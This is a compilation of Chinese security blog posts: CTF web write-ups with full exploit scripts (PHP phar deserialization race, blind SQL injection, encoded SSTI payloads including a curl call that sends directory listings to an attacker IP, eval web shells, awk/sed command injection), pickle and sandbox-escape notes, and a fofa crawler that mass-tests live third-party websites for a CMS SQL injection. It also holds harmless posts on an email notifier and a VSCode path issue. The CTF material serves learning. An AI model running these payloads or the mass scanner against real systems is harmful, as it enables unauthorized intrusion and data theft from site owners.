Ez to getflag图片查看处可以任意文件读取非预期直接读取flagf=/flag预期解file.php<?php error_reporting(0); session_start(); require_once('class.php'); $filename = $_GET['f']; $show = new Show($filename); $show->show(); ?>upload.php<?php error_reporting(0); session_start(); require_once('class.php'); $upload = new Upload(); $upload->uploadfile(); ?>class.php<?php class Upload { public $f; public $fname; public $fsize; function __construct(){ $this->f = $_FILES; } function savefile() { $fname = md5($this->f["file"]["name"]).".png"; if(file_exists('./upload/'.$fname)) { @unlink('./upload/'.$fname); } move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); echo "upload success! :D"; } function __toString(){ $cont = $this->fname; $size = $this->fsize; echo $cont->$size; return 'this_is_upload'; } function uploadfile() { if($this->file_check()) { $this->savefile(); } } function file_check() { $allowed_types = array("png"); $temp = explode(".",$this->f["file"]["name"]); $extension = end($temp); if(empty($extension)) { echo "what are you uploaded? :0"; return false; } else{ if(in_array($extension,$allowed_types)) { $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i'; $f = file_get_contents($this->f["file"]["tmp_name"]); if(preg_match_all($filter,$f)){ echo 'what are you doing!! :C'; return false; } return true; } else { echo 'png onlyyy! XP'; return false; } } } } class Show{ public $source; public function __construct($fname) { $this->source = $fname; } public function show() { if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) { die('illegal fname :P'); } else { echo file_get_contents($this->source); $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source)); echo " "; } } function __get($name) { $this->ok($name); } public function __call($name, $arguments) { if(end($arguments)=='phpinfo'){ phpinfo(); }else{ $this->backdoor(end($arguments)); } return $name; } public function backdoor($door){ include($door); echo "hacked!!"; } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { die("illegal fname XD"); } } } class Test{ public $str; public function __construct(){ $this->str="It's works"; } public function __destruct() { echo $this->str; } } ?>可以看到没有unserialize，且没有过滤phar协议，考虑phar反序列化最终的利用点是Show::backdoor中的include，利用session.upload_progress进行文件包含审计一下，构造pop链Test::__destruct-->Upload::__toString-->Show::__get-->Show::__call-->Show::backdoor还有个问题，题目对文件内容进行了过滤，对应方法为利用phar文件在被一些压缩方式压缩后依然可以使用phar协议进行解析的特性，传一个压缩过后的phar文件进去出题人还贴心地在Show::__call中加了个phpinfo可以测试一下构造phar文件<?php class Upload { public $f; public $fname; public $fsize; } class Show{ public $source; } class Test{ public $str; } $p = new Test(); $p->str = new Upload(); $p->str->fname = new Show(); $p->str->fsize = 'phpinfo'; echo serialize($p); $phar = new Phar("test.phar");//后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>");//设置stub $phar->setMetadata($p);//将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test");//添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>将生成的phar以gzip方式进行压缩，后缀改为png，上传然后f=phar://upload/364be8860e8d72b4358b5e88099a935a.png测试成功，那么只需把fsize的值改成sess文件名，然后条件竞争去包含即可生成phar<?php class Upload{ public $fname; public $fsize; } class Show{ public $source; } class Test{ public $str; } $upload = new Upload(); $show = new Show(); $test = new Test(); $test->str = $upload; $upload->fname=$show; $upload->fsize='/tmp/sess_chaaa'; // $test->str = 'okkkk'; @unlink("shell.phar"); $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($test); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>expimport sys,threading,requests,re from hashlib import md5 # HOST = sys.argv[1] # PORT = sys.argv[2] flag='' check=True # 触发phar文件反序列化去包含session上传进度文件 def include(fileurl,s): global check,flag while check: fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png' params = { 'f': 'phar://upload/'+fname } res = s.get(url=fileurl, params=params) if "working" in res.text: flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0] check = False # 利用session.upload.progress写入临时文件 def sess_upload(url,s): global check while check: data={ 'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>" } cookies={ 'PHPSESSID': 'chaaa' } files={ 'file': ('chaaa.png', b'cha'*300) } s.post(url=url,data=data,cookies=cookies,files=files) def exp(): url = "http://60e092c1-6bb2-4e29-9fb7-596a334676a2.node4.buuoj.cn:81/" fileurl = url+'file.php' uploadurl = url+'upload.php' num = threading.active_count() # 上传phar文件 file = {'file': open('./shell.png', 'rb')} ret = requests.post(url=uploadurl, files=file) # 文件上传条件竞争获取flag event=threading.Event() s1 = requests.Session() s2 = requests.Session() for i in range(1,10): threading.Thread(target=sess_upload,args=(uploadurl,s1)).start() for i in range(1,10): threading.Thread(target=include,args=(fileurl,s2,)).start() event.set() while threading.active_count() != num: pass if __name__ == '__main__': exp() print(flag)绝对防御这里要用到JSFinderJSFinder是一款用作快速在网站的js文件中提取URL，子域名的工具发现可疑url内容如下 &nbsp &nbsp &nbsp 猜测是sql注入，虽然有限制，但是是前端限制，没卵用盲注得到flagimport requests import time url = 'http://7fe11540-8584-472a-a44e-a38b70969da1.node4.buuoj.cn:81/SUPPERAPI.php?id=' flag = '' for i in range(1,50): left = 1 right = 127 mid = int((left+right)/2) while(left<right): # payload = '1 and ascii(substr(database(),{},1))={}'.format(i,mid) # payload = "1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctf'),{},1))>{}".format(i,mid) # payload = "1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{},1))>{}".format(i,mid) payload = "1 and ascii(substr((select password from users where id=2),{},1))>{}".format(i,mid) req = requests.get(url+payload) time.sleep(0.3) if 'admin' in req.text: left = mid+1 else: right = mid mid=int((left+right)/2) flag+=chr(mid) print(flag) Harddisk过滤了非常多的ssti大致有这些}}, {{, ], [, ], \, , +, _, ., x, g, request, print, args, values, input, globals, getitem, class, mro, base, session, add, chr, ord, redirect, url_for, popen, os, read, flag, config, builtins, get_flashed_messages, get, subclasses, form, cookies, headers过滤了大括号 {{，我们可以用 {%print(......)%} 或 {% if ... %}1{% endif %} 的形式来代替，但是题目还过滤了 print 关键字，所以前者用不了了，只能用 {% if ... %}success{% endif %} 的形式来bypass了。但是这样的话payload执行成功后只会输出中间的"success"而不会输出执行的结果的，所以我们要用外带数据的方法来得到payload执行的结果。由于还过滤了像 ]、_、request 这类常用的字符和关键字，我们可以用__getitem__ ，attr() 配合 unicode 编码的方法绕过attr用于获取变量""|attr("__class__") 相当于 "".__class____getitem__用来调取字典中的键值a['b'] 相当于 a.__getitem__('b')语句类似如下{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f"))%}success{%endif%} # {%if("".__class__)%}success{%endif%}知道怎么bypass后，接下来需要寻找含有popen的类{%if("".__class__.__bases__[0].__subclasses__()[遍历].__init__.__globals__["popen"])%}success{%endif%} -->> {%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")(遍历)|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen"))%}success{%endif%} -->> # unicode 编码: {%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(遍历)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e"))%}success{%endif%}import requests headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' } for i in range(500): url = "http://86cda2e2-8d3d-4b3a-9cb0-9e6da8233df2.node4.buuoj.cn:81/" payload = {"nickname":'{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}success{%endif%}'} res = requests.post(url=url, headers=headers, data=payload) if 'success' in res.text: print(i){%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%} # curl 47.xxx.xxx.72:2333 -d \"`ls /`\" 但是我最后没复现成功，可能是hw期间不出网官方wp
web签到<?php error_reporting(0); highlight_file(__FILE__); $file = $_POST['file']; if(isset($file)){ if(strrev($file)==$file){ include $file; } }要求file反转后和原来一样用data协议写入file=data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=system('cat /f1agaaa');easyPHP<?php error_reporting(0); highlight_file(__FILE__); $cmd = $_POST['cmd']; $param = $_POST['param']; if(isset($cmd) && isset($param)){ $cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__; shell_exec($cmd); }cmd=awk&param={system("ls / >a")}cmd=awk&param={system("cat /f1agaaa >a")}不过这个是非预期解预期解的话用sed，不太看得懂cmd=sed&param=/php\|POST\|exec/!dw1.php这样就生成了1.php最后查看可以发现内容为<?php $cmd = $_POST['cmd']; $param = $_POST['param']; shell_exec($cmd);然后就是常规的写马cmd=echo "<?php eval(\$_POST[1]);?>">2.php我按我的理解说一下payload用到的sed的三个参数，!,d,wd：删除某一行!：表示后面的命令对所有没有被选定的行发生作用w：会将匹配后的结果保存到指定文件中所以首先匹配到了有php的那行，有post的那行和有exec的那行，然后将除了这几行外的内容全部删除，剩下的匹配的内容写入1.php姻缘测试def is_hacker(string): """整那些个花里胡哨的waf有啥用，还不如这一个，直接杜绝SSTI""" if "{" in string and "}" in string : return True else: return False 不能同时出现{和}输入a和b所以这里需要分开执行?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat%09/flag.txt').read()}}想不通这里为啥分开也可以执行，好奇后端是咋写的
python课程设计是写个爬虫，并把结果并把结果数据可视化，想了半天也不知道爬啥，常见的爬评论，爬电影信息什么的实在没什么意义，于是就决定把之前写的爬虫+fofa批量检测狮子鱼sql注入 - xiaolong's blog (xiaolong22333.top)给完善一下，找到漏洞url后去站长工具和爱企查上把企业信息给爬下来，结果发现爱企查有反爬，且页面很奇怪，如果有几页结果的是可以找到pid的，但是如果就一个结果或者一页，找不到pid，总之就是寄了，浪费了我宝贵的一个下午。。。那随便爬吧，爬一下自己博客各个标签的文章占比# -*- coding: utf-8 -*- ''' @File: blog.py @Time: 2022/06/09 21:31:48 @Author: xiaolong @Version: 1.0 @Link: https://xiaolong22333.top ''' import requests import urllib3 import re import pymysql import matplotlib.pyplot as plt urllib3.disable_warnings() #忽略https证书告警 def insert(): for id in range(1,200): req = requests.get(url=url.format(id)) if req.status_code == 200: title = "".join(re.findall('.*? (.*)<\/title>',req.text)) keywords = "".join(re.findall('.*? ',req.text)) print(title,keywords) sql = "insert into blog(id,title,keywords) values (%s,%s,%s)" cursor.execute(sql,(id,title,keywords)) conn.commit() def select(): keywords = ['web','misc','php','ctf','python','漏洞复现','渗透测试','java','漏洞挖掘','src'] num = [] for keyword in keywords: sql = "select count(*) from blog where keywords like '%{}%'".format(keyword) cursor.execute(sql) count = cursor.fetchone() count = "".join(str(x) for x in count) num.append(count) plt.rcParams['font.family'] = 'SimHei' plt.rcParams['axes.unicode_minus']=False plt.subplot(132) plt.title('占比图') plt.pie(num,labels=keywords) # plt.show() plt.savefig("1.png",dpi = 1000) if __name__ == '__main__': url = 'https://xiaolong22333.top/index.php/archives/{}' conn = pymysql.connect(host='localhost', port=3306, user='root', passwd='root', db="test", charset = 'utf8') cursor = conn.cursor() insert() select() cursor.close() conn.close()最终结果如下属实有点丑。。。
既然自己挖不到洞，那就去批量刷点现成的洞以狮子鱼的sql注入为例fofa语句"/seller.php?s=/Public/login"poc/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)本来是想用调用fofa的api进行批量检测，结果发现普通注册会员不能调api行吧，那只能用爬虫来获取了原本以为挺简单的，很快写完，结果硬是搞了两个晚上，太菜了，呜呜呜。。。脚本# -*- coding: utf-8 -*- ''' @File: fofaCrawler.py @Time: 2022/05/19 22:22:02 @Author: xiaolong @Version: 1.0 @Link: https://xiaolong22333.top ''' import requests import base64 import urllib3 import re urllib3.disable_warnings() #忽略https证书告警 grammar = '"seller.php?s=/Public/login" && country="CN" && is_domain=true' qbase64 = base64.b64encode(grammar .encode("utf-8")) headers = { 'Host': 'fofa.info', 'Upgrade-Insecure-Requests': '1', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.47', 'cookie': 'xxx' } url = "https://fofa.info/result?qbase64={}&page={}&page_size={}" def select(): urlList = [] for page in range(1,6): selectUrl = url.format(str(qbase64,"utf-8"),page,10) req = requests.get(url=selectUrl, headers=headers) req.encoding = "utf-8" urlList = urlList + re.findall('.*?target="_blank">(.*)',req.text[275000:]) for finurl in urlList: print(finurl) SqlInject(urlList) def SqlInject(urlList): for url in urlList: url = url + '/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)' if 'http' not in url: url = 'http://' + url print("******************************") print("正在测试" + url) try: req = requests.get(url,verify=False) except: continue if 'syntax' in req.text: print("*此地址存在sql注入" + url) print("******************************") if __name__ == '__main__': select() 需要注意的是fofa页面的开头有一段巨长的样式，严重影响正则匹配速度，在获取返回结果时需要截取后面部分最后查找网站备案，查找企业名称、信息啥的ICP备案查询 - 站长工具 爱企查首页参考论萌新的SRC是如何提交100+的漏洞--狮子鱼SQLyyds漏洞挖掘SRC-狮子鱼CMS-SQL注入
前言众所周知，明日方舟的官方美术设定集有那么一点水，于是在收到了众多博士的反馈和建议后，鹰角做了个业界史无前例的决定：将对设定集进行优化，并免费寄给购买了设定集的博士！鹰角yyds！！！各位博士到时需要在这个网站上填写相关信息《明日方舟官方美术设定集VOL.1》RESET版 (hypergryph.com)但是因为疫情原因，网站暂时无法立刻开启登记通道，后续通道开启具体时间将由微博【明日方舟朝陇山】发布但咱平时也不玩微博，可能没法第一时间得到相关信息，别到时候开启了登记通道都不知道，为了避免这样的情况发生，我打算写个脚本监测一下官网，有消息第一时间通知我，借此还能学一学python如何发送邮件python发送邮件发送邮件需要用到SMTP协议需要用到的模块为smtplib和email，Python自带email模块负责构造邮件，smtplib模块负责发送邮件想要发送邮箱，就需要一个SMTP服务器，这里以QQ邮箱为例在设置中开启IMAP/SMTP服务，可以获得授权码，使用这个授权码即可登录QQ邮箱的SMTP服务器再来看一下smtplib模块# 发信服务器 smtp_server = 'smtp.qq.com' server = smtplib.SMTP_SSL()指定SMTP服务器，同时有SSL认证，不用SSL的话是smtplib.SMTP()，但是不安全，现在都是smtplib.SMTP_SSL()还有就是在python 3.7及后面版本这样写会报错server_hostname cannot be an empty string or start with a leading dot，这是因为python 3.7 修改了 ssl.py ，导致了smtplib.SMTP_SSL 的问题，修改为如下即可# 发信服务器 smtp_server = 'smtp.qq.com' server = smtplib.SMTP_SSL(smtp_server)指定了SMTP服务器后进行连接登录# 发信方的信息：发信邮箱，QQ邮箱授权码 from_addr = 'xxx@qq.com' password = '授权码' # SMTP_SSL默认端口为465,SMTP默认端口为25 server.connect(smtp_server,465) server.login(from_addr, password)最后发送邮件并关闭服务器# 发送邮件 server.sendmail(from_addr, to_addr, message.as_string()) # 关闭服务器 server.quit()现在来构造邮件内容from email.mime.text import MIMEText from email.header import Header # 三个参数：第一个为文本内容，第二个 plain 设置文本格式，第三个 utf-8 设置编码 message = MIMEText('hello,world', 'plain', 'utf-8') # 发件人 message['From'] = Header('xiaolong22333') # 收件人 message['To'] = Header('xiaolong') # 标题 message['Subject'] = Header('Python 邮件发送测试')测试一下# -*- coding: utf-8 -*- import smtplib from email.mime.text import MIMEText from email.header import Header # 发信方的信息：发信邮箱，QQ邮箱授权码 from_addr = 'xxx@qq.com' password = '授权码' # 发信服务器 smtp_server = 'smtp.qq.com' # 收信方邮箱 to_addr = 'xxx@qq.com' server = smtplib.SMTP_SSL(smtp_server) server.connect(smtp_server,465) server.login(from_addr, password) # 三个参数：第一个为文本内容，第二个 plain 设置文本格式，第三个 utf-8 设置编码 message = MIMEText('hello,world', 'plain', 'utf-8') # 发件人 message['From'] = Header('xiaolong22333') # 收件人 message['To'] = Header('xiaolong') # 标题 message['Subject'] = Header('Python 邮件发送测试') # 发送邮件 server.sendmail(from_addr, to_addr, message.as_string()) # 关闭服务器 server.quit()so easy~编写脚本我的想法是根据返回包的长度来判断官网有没有更新,长度变了就发邮件# -*- coding: utf-8 -*- ''' @File: Arknights.py @Time: 2022/05/01 17:01:47 @Author: xiaolong @Version: 1.0 @Link: https://xiaolong22333.top ''' import smtplib import requests from email.mime.text import MIMEText from email.header import Header def senfMail(): # 发信方的信息：发信邮箱，QQ邮箱授权码 from_addr = 'xxx@qq.com' password = '授权码' # 发信服务器 smtp_server = 'smtp.qq.com' # 收信方邮箱 to_addr = 'xxx@qq.com' server = smtplib.SMTP_SSL(smtp_server) server.connect(smtp_server,465) server.login(from_addr, password) # 三个参数：第一个为文本内容，第二个 plain 设置文本格式，第三个 utf-8 设置编码 message = MIMEText('博士，网站更新了，快去看看吧~\nhttps://ak.hypergryph.com/artworks_vol1', 'plain', 'utf-8') # 发件人 message['From'] = Header('xiaolong22333') # 收件人 message['To'] = Header('xiaolong') # 标题 message['Subject'] = Header('博士，有最新消息，请注意查收') # 发送邮件 server.sendmail(from_addr, to_addr, message.as_string()) # 关闭服务器 server.quit() def isComingSoon(): url1 = 'https://ak.hypergryph.com/artworks_vol1' url2 = 'https://web.hycdn.cn/arknights/artworks_vol1/index.d89673.js' headers = { "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8" } result1 = requests.get(url=url1,headers=headers) result2 = requests.get(url=url2,headers=headers) if (len(result1.content) != 1203) or (len(result2.content) != 247343): senfMail() if __name__ == '__main__': isComingSoon()应该没什么问题定时上传到服务器，每天早上8点半和晚上8点半执行30 8 * * * /usr/bin/python3 /root/Arknigths/Arknights.py 30 20 * * * /usr/bin/python3 /root/Arknigths/Arknights.py
一个普通的序列化和反序列化import pickle data = ['aa', 'bb', 'cc'] #序列化 p = pickle.dumps(data) print(p) #反序列化 d = pickle.loads(p) print(d)需要注意的是不同版本的python序列化的结果是不同的这里主要研究py2那么这个序列化的字符串是按照什么规则生成的呢，这里要涉及到PVM( Python Virtual Machine , Python 虚拟机 )照搬一下大佬的原话：那 PVM 有什么用呢 ? 它的执行流程是怎样的呢 ?先来回答第一个问题在使用 C , C++ 等编译性语言编写的程序时 , 解释器需要先将源代码文件转换成计算机使用的机器语言( 也就是常说的 " 编译 " 过程 ) , 然后经过链接器链接之后形成了二进制可执行文件( 也就是常说的 " 链接 " 过程 ) . 运行该程序的时候 , 计算机会将二进制可执行文件从硬盘载入到内存中并运行 .但是对于 Python 而言 , 它可以直接从源代码运行程序 . Python解释器会将源代码编译为字节码 , 然后将编译后的字节码转发到 Python 虚拟机中执行 .所以说 PVM 的作用非常简单 , 它是一个用来解释字节码的解释引擎 .再来回答第二个问题一般来说 , 当运行 Python 程序时 , PVM 会执行两个步骤 .首先 , PVM 会把源代码编译成字节码 . 字节码是 Python 语言特有的一种表现形式 , 它不是二进制机器码 , 需要进一步编译才能被机器执行 . 如果 Python 进程在主机上有写入权限 , 那么它会把程序字节码保存为一个以 .pyc 为扩展名的文件 . 如果没有写入权限 , 则 Python 进程会在内存中生成字节码 , 在程序执行结束后被自动丢弃 .一般来说 , 在构建程序时最好给 Python 进程在主机上的写入权限 , 这样只要源代码没有改变 , 生成的 .pyc 文件就可以被重复利用 , 提高执行效率 , 同时隐藏源代码 .然后 , Python 进程会把编译好的字节码转发到 PVM( Python 虚拟机 ) 中 , PVM会循环迭代执行字节码指令 , 直到所有操作被完成 .那么 PVM 和 Pickle模块/序列化过程/反序列化过程 有什么联系呢 ?Pickle是一门基于栈的编程语言 , 有不同的编写方式 , 其本质就是一个轻量级的 PVM .这个轻量级的 PVM 由三个部分组成 , 如下所示指令处理器( Instruction processor )从数据流中读取操作码和参数 , 并对其进行解释处理 . 指令处理器会循环执行这个过程 , 不断改变 stack 和 memo 区域的值 . 直到遇到 " . " 这个结束符号 . 这时 , 最终停留在栈顶的的值将会被作为反序列化对象返回 .栈区( stack )由 Python 的列表( list )实现 , 作为流数据处理过程中的暂存区 , 在不断的进出栈过程中完成对数据流的反序列化操作，并最终在栈顶生成反序列化的结果标签区( memo )由 Python 的字典( dict )实现 , 可以看作是数据索引或者标记 , 为 PVM 的整个生命周期提供存储功能 .常见的指令c : 读取本行的内容作为模块名( module ) , 读取下一行的内容作为对象名( object ) . 然后将 module.object 作为可调用对象压入到栈中 ( : 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组 S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中 t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中 R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象 .最后将结果压入到栈中 a : 将栈的第一个元素append到第二个元素(列表)中 p : 将栈顶对象储存至memo_n l : 寻找栈中的上一个标记对象，并组合之间的数据为列表 . : 结束整个 Pickle 反序列化过程再来看一下开头的例子(lp0 #将一个标记对象压入栈中，标记对象之间的数据为列表，并将将栈顶对象储存至memo中，编号为0 S'aa' #将aa压入栈中 p1 #将栈顶元素aa存储在memo中 aS'bb' #将栈的第一个元素append到第二个元素(列表)中,将bb压入栈中 p2 #将栈顶元素bb存储在memo中 aS'cc' #将栈的第一个元素append到第二个元素(列表)中,将cc压入栈中 p3 #将栈顶元素cc存储在memo中 a. #将栈的第一个元素append到第二个元素(列表)中,结束pickle我们可以手写一个序列化数据cos #读取本行的内容(os)作为模块名, 读取下一行的内容(system)作为对象名,然后将 module.object 作为可调用对象压入到栈中 system (S'dir' #将dir压入栈 tR. #从栈中弹出数据，形成元组('dir')压入栈 #再将元组和对象弹出，然后将该元组作为可调用参数的对象并执行该对象,也就是执行system('dir')将上面的序列化字符串在python2下反序列化，相当于执行了os.system('dir')或者这样import pickle str = b'''(cos system S'whoami' o.''' pickle.loads(str)那么漏洞出现在哪呢在反序列化过程中 , 编程语言需要根据序列化字符串去解析出自己独特的语言数据结构 . 为了实现这点，就必然要在内部把解析出来的结果去执行一下 ，这里要提到一个魔术方法__reduce__()是不是感觉跟R指令差不多，事实上 , R指令就是 __reduce__() 魔术函数的底层实现 ，而在反序列化过程结束的时候 , Python 进程会自动调用 __reduce__() 魔术方法 ， 如果我们可以控制被调用函数的参数 , Python 进程就会执行我们的恶意代码import pickle import os class Test(object): def __reduce__(self): return (os.system,('dir',)) test = pickle.dumps(Test()) pickle.loads(test)这样就会执行dir命令相关题目有[watevrCTF-2019]Pickle Store和[CISCN2019 华北赛区 Day1 Web2]ikun等浅谈python反序列化漏洞_LetheSec的博客-CSDN博客_python反序列化漏洞Python pickle 反序列化实例分析 - 安全客，安全资讯平台 (anquanke.com)Python Pickle/CPickle 反序列化漏洞 - H0t-A1r-B4llo0n (guildhab.top)pickle反序列化初探 - 先知社区 (aliyun.com)
感觉跟模板注入差不多，或者说模板注入本质上就是沙箱逃逸？沙箱：沙箱是一种按照安全策略限制程序行为的执行环境。早期主要用于测试可疑软件等，比如黑客们为了试用某种病毒或者不安全产品，往往可以将它们在沙箱环境中运行。经典的沙箱系统的实现途径一般是通过拦截系统调用，监视程序行为，然后依据用户定义的策略来控制和限制程序对计算机资源的使用，比如改写注册表，读写磁盘等。沙箱逃逸,就是在给我们的一个代码执行环境下，脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单，最终拿到系统命令执行权限的过程。dir() 用于展示一个对象的属性有哪些 __dict__ 以字典的格式列出来这个类中所支持的方法，属性 __subclasses__() 查看当前类的子类 __dict__魔术方法 以字典的格式列出来这个类中所支持的方法，属性 __getattribute__魔术方法 取得字典中的某种方法如果过滤了一些危险函数、模块，比如os，这时可以通过继承关系，找到有os相关方法的类，以python2为例首先找到一个有用的子类().__class__.__base__.__subclasses__()这可以列出object的所有子类，其中有个warnings.catch_warnings，在第61个位置，里面有个操作文件的模块linecache而linecache又调用了os，这样就可以命令执行了如果说不能出现一些敏感字符的话，可以用字符串拼接或者编码绕过().__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['os'].__dict__['system']('dir')().__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('dir')().__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['b3M='.decode('base64')].__dict__['c3lzdGVt'.decode('base64')]('dir')沙箱逃逸题的关键在于绕过，需要用一些特别的操作去绕过他ban掉的函数简单梳理一下可利用的方法，模块及绕过调用了os的模块//Python 2.7.17 59<class 'warnings.WarningMessage'> 90<class 'warnings.catch_warnings'> 40< type 'file'> 72<class 'site._Printer'> 73<class 'site._Helper'> 77<class 'site.Quitter'>osimport os os.system('dir') os.popen('dir').read()platformimport platform platform.popen('dir').read() platform.os.system('dir')subprocess__builtins__.__dict__['__import__']('subprocess').__dict__['Popen'](['dir'])commands 好像只适用于linuxtimeitimport timeit timeit.timeit("__import__('os').system('dir')") timeit还可以sleep盲注globals[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')builtinspython的内建函数，里面有很多有用的函数，其中最好用的就是__import__，有了这就可以导入上述的任意模块__builtins__.__dict__['__import__']('os').__dict__['system']('dir')reload有时候会将__builtins__中的一些方法移出这时只要reload一下即可但Python 3.0把reload内置函数移到了imp标准库模块中reload(__builtins__)绕过'X19pbXBvcnRfXw=='.decode('base64') => '__import__' ''.join(['__imp','ort__']) => '__import__' '__tropmi__'[::-1] => '__import__' '__imp'+'ort__' => '__import__' '__buihf9ns__'.replace('hf9','ldi') dir()[0][0:1] => '_'相关的题目其实都还比较简单，[CSCCTF 2019 Qual]FlaskLight，攻防世界Web_python_template_injection，有时一个payload基本通杀，不行的话稍微绕一下就行学习了一下后，发现其实模板注入就是沙箱逃逸，只不过模板注入是有不同的模板引擎，有时需要用该模板特有的模块或函数进行注入逃逸
VSCode中python报错No such file or directory
当前目录为D:\work\python\filetest，目录下放有py文件和要读取的文件test.py内容如下with open('1.txt') as file_name: name = file_name.read() print(name)但运行后会报错FileNotFoundError: [Errno 2] No such file or directory: '1.txt'这怎么回事，明明1.txt在同一目录啊，并且命令行直接运行也没问题排查后发现为vscode的问题我vscode的工作目录一直都是work，但文件是放在\work\python\filetes目录下的解决办法：读取的文件路径写全python\\filetest\\1.txt，或者写绝对路径D:\\work\\python\\filetest\\1.txt或者cd到当前目录或者右键文件夹打开vscode，这样工作目录就是当前目录了当然，理想中的情况应该是当前文件在哪个目录，工作目录就在哪个目录，可惜搞半天还不会，暂时这么用用吧。
